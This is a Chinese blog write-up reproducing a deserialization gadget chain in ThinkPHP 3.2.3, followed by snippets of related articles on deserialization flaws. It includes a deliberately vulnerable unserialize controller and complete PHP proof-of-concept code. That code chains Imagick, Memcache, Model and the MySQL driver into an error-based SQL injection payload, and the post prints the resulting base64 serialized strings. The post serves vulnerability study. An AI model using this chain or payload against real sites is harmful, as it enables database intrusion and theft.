ThinkPHP3.2.3反序列化链子分析

一颗小胡椒2022-04-14 15:48:27

前言

目前官方已经不再维护ThinkPHP3.2.3,本文仅对ThinkPHP3.2.3反序列化链子进行复现,如有纰漏,还望指正。

环境介绍

  • MAMP pro
  • PhpStorm
  • Xdebug

利用条件

  • 具备反序列化入口

分析过程

首先在分析前,先新建一个控制器,写一个反序列化入口

Application/Home/Controller/HelloController.class.php中新建以下内容:

namespace Home\Controller;
use Think\Controller;
class HelloController extends Controller
{
    public function index($Lxxx){
        echo base64_decode($Lxxx);
        $a = unserialize(base64_decode($Lxxx));
    }
}

反序列化入口自己创建好了,接下来新建一个开始找反序列化链头,因为大多数反序列化漏洞,都是由__destruct()魔术方法引起的,因此全局搜索public function __destruct()

分析一下不可用入口:

例如,像上方这种,就没有可控参数,就不是很好利用

通常,在寻找__destruct()可用的魔术方法需遵循“可控变量尽可能多”的原则

因此在ThinkPHP/Library/Think/Image/Driver/Imagick.class.php文件中,找到具有可控变量的析构函数方法:

如果我们对img属性赋一个对象,那么它会调用destroy()方法,这时,我们全局搜索具有destroy()方法的类,这里有一个坑点,就是在PHP7版本中,如果调用一个含参数的方法,却不传入参数时,ThinkPHP会报错,而在PHP5版本中不会报错

而我们全局搜索的结果如下:

ThinkPHP/Library/Think/Model.class.php中,destroy()方法有两个可控参数,调用的是delete方法,同样,类可控,delete方法的参数看似可控,其实不可控,因为下方全局搜索后,delete方法需要的参数大多数都为array形式,而上方传入的是$this->sessionName.$sessID,即使$this->sesionName设置为数组array,但是$sessID如果为空值,在PHP中,用.连接符连接,得到的结果为字符串array

$a = array("123"=>"123");
var_dump($a."");
?>
string(5) "Array"

接下来全局搜索delete方法

如果能够满足红色方框前面的条件,那么我们期望能调用红色方框中的delete方法

上面分析了这么多了,保险起见,我们这边还是先在这个文件下,echo一个值,然后将前面分析的链子整合一下,进行反序列化,看看调用过程是否正确。

前面一共涉及到三个类,我们在Model.class.php中打印一个值,构造这三个类序列化字符串如下:

namespace Think\Image\Driver{
 use Think\Session\Driver\Memcache;
 class Imagick{
  private $img;
  public function __construct(){
   $this->img = new Memcache();
  }
 }
}
namespace Think\Session\Driver{
 use Think\Model;
 class Memcache{
  protected $handle = null;
  public function __construct(){
   $this->handle = new Model();
  }
 }
}
namespace Think{
 class Model{
 }
}
namespace{
 $a = new Think\Image\Driver\Imagick();
 echo base64_encode(serialize($a));
}

输出:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjA6e319fQ==

传给浏览器后,我们可以看到Lxxx被成功的打印了出来

也就是说截止目前,我们的分析还没有问题,那接着往下分析:

ThinkPHP/Library/Think/Model.class.php中,$this->data可控,我们期望进入下方的return语句中,因为此时如果我们对$this->data传入,则该方法的option参数变相可控

接着看这个方法,往下看,看看是否有可控的点

上方红框的位置$this->db我们可控,delete方法也可控,option值上面说了,变相可控

那么我们就可以继续搜索delete方法,注意,这个时候搜索delete方法和上面就不一样的了,之前delete方法参数不可控,此时可控了。

ThinkPHP/Library/Think/Db/Driver.class.php文件中,可能存在SQL注入的点,我们跟进看一看。

下方的sql语句可能存在注入

这里直接对table进行拼接,上方有一个parseTable方法,跟进看一下,看看是否存在过滤。

可以看到,这里parseTable方法只是调用了parseKey方法,再跟进parseKey方法

parseKey方法没有过滤,直接将传入的参数返回,下方红框处就是执行sql的地方了,在执行之前可以将sql打印出来,方便调试

这么一来就可以构造链子了

namespace Think\Image\Driver{
 use Think\Session\Driver\Memcache;
 class Imagick{
  private $img;
  public function __construct(){
   $this->img = new Memcache();
  }
 }
}
namespace Think\Session\Driver{
 use Think\Model;
 class Memcache{
  protected $handle = null;
  public function __construct(){
   $this->handle = new Model();
  }
 }
}
namespace Think{
 use Think\Db\Driver\Mysql;
 class Model{
  protected $pk;
  protected $db;
  protected $data = array();
  public function __construct(){
   $this->db = new Mysql();
   $this->pk = "id";
   $this->data[$this->pk] = array(
                "table" => "mysql.user where 0 or updatexml(1,concat(0x7e,database()),1)#",
                "where" => "1=1"
            );
  }
 }
}
namespace Think\Db\Driver{
 class Mysql{
        protected $config = array(
            "debug"    => 1,
            "database" => "tp323",
            "hostname" => "127.0.0.1",
            "hostport" => "8889",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
 }
}
namespace{
 $a = new Think\Image\Driver\Imagick();
 echo base64_encode(serialize($a));
}

得到结果:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjM6e3M6NToiACoAcGsiO3M6MjoiaWQiO3M6NToiACoAZGIiO086MjE6IlRoaW5rXERiXERyaXZlclxNeXNxbCI6MTp7czo5OiIAKgBjb25maWciO2E6Nzp7czo1OiJkZWJ1ZyI7aToxO3M6ODoiZGF0YWJhc2UiO3M6NToidHAzMjMiO3M6ODoiaG9zdG5hbWUiO3M6OToiMTI3LjAuMC4xIjtzOjg6Imhvc3Rwb3J0IjtzOjQ6Ijg4ODkiO3M6NzoiY2hhcnNldCI7czo0OiJ1dGY4IjtzOjg6InVzZXJuYW1lIjtzOjQ6InJvb3QiO3M6ODoicGFzc3dvcmQiO3M6NDoicm9vdCI7fX1zOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjYxOiJteXNxbC51c2VyIHdoZXJlIDAgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkjIjtzOjU6IndoZXJlIjtzOjM6IjE9MSI7fX19fX0

后记

多断点,多打印,多跟进,多思考。

序列化
本作品采用《CC 协议》,转载必须注明作者和本文链接
Java安全中Groovy组件从反序列化到命令注入及绕过和在白盒中的排查方法
最近两个月我一直在做拒绝服务漏洞相关的时间,并收获了Spring和Weblogic的两个CVE但DoS漏洞终归是鸡肋洞,并没有太大的意义,比如之前有人说我只会水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd师傅聊天
浅谈Java反序列化漏洞
2022-05-17 17:48:01
Java序列化与反序列化Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。
java序列化与反序列化
2022-04-13 16:35:35
java反序列化指字节序列恢复到java对象。bit,则一个字最大为 FFFF。序列化是把对象转换成有序字节流,以便在网络上传输或者保存在本地文件中。序列化后的字节流保存了Java对象的状态以及相关的描述信息。序列化机制的核心作用就是对象状态的保存与重建。
序列化漏洞汇总
2022-01-07 22:17:34
漏洞出现在WLS Security组件,允许远程攻击者执行任意命令。攻击者通过向TCP端口7001发送T3协议流量,其中包含精心构造的序列化Java对象利用此漏洞。然后将其序列化,提交给未做安全检测的Java应用。Java应用在进行反序列化操作时,则会触发TransformedMap的变换函数,执行预设的命令。
序列化的核心思维旨在,将A变成B,最后再从B还原回A。 总之,在一些条件苛刻或者变化无常的环境与需求中,产生了这种灵活的可逆性的B的中间体。 理解不安全反序列化的最好方法是了解不同的编程语言如何实现序列化和反序列化。这里的序列化与反序列化指的是程序语言中自带的实施与实现。而非自创或者自定义的序列化与反序列化机制(比如:N进制形式hashmap树型等其他数据结构里的序列化中间体)。
攻击者可能利用此漏洞获取敏感信息或执行恶意代码。漏洞概述  漏洞名称Apache Dubbo多个反序列化漏洞漏洞编号CVE-2023-29234、CVE-2023-46279公开时间2023-12-15影响对象数量级十万级奇安信评级高危CVSS 评分7.7、8.1威胁类型信息泄露、代码执行利用可能性中POC状态未公开在野利用状态未发现EXP状态未公开技术细节状态未公开危害描述:
它指的是一个有用的工具库,帮助处理和操作XML格式的数据。ROME库允许我们把XML数据转换成Java中的对象,这样我们可以更方便地在程序中操作数据。另外,它也支持将Java对象转换成XML数据,这样我们就可以把数据保存成XML文件或者发送给其他系统。
URLDNS链子是Java反序列化分析的第0课,网上也有很多优质的分析文章。笔者作为Java安全初学者,也从0到1调试了一遍,现在给出调试笔记。Java原生链反序列化:利用Java.io.ObjectOutputStream对象输入流的readObject方法实现将字节序列转化成对象。测试源码如下,此部分源码参考了ol4three师傅的博客:package?将输出字节流写入文件中进行封存。读取字节流操作为readObject,所以重写readObject可以执行自定义代码。影响的版本问题:与JDK版本无关,其攻击链实现依赖于Java内置类,与第三方库无关?
接着定义 Person 类实现前面的接口:public?XStream 序列化是调用?unmarshall : xml-> object 解码两个重要的实现类:?Mapper 映射器简单来说就是通过 mapper 获取对象对应的类、成员、Field 属性的 Class 对象,赋值给 XML 的标签字段。Converter 转换器XStream 为 Java 常见的类型提供了 Converter 转换器。EventHandler 类EventHandler 类为动态生成事件侦听器提供支持,这些侦听器的方法执行一条涉及传入事件对象和目标对象的简单语句。EventHandler 类是实现了 InvocationHandler 的一个类,设计本意是为交互工具提供 beans,建立从用户界面到应用程序逻辑的连接。
一颗小胡椒
暂无描述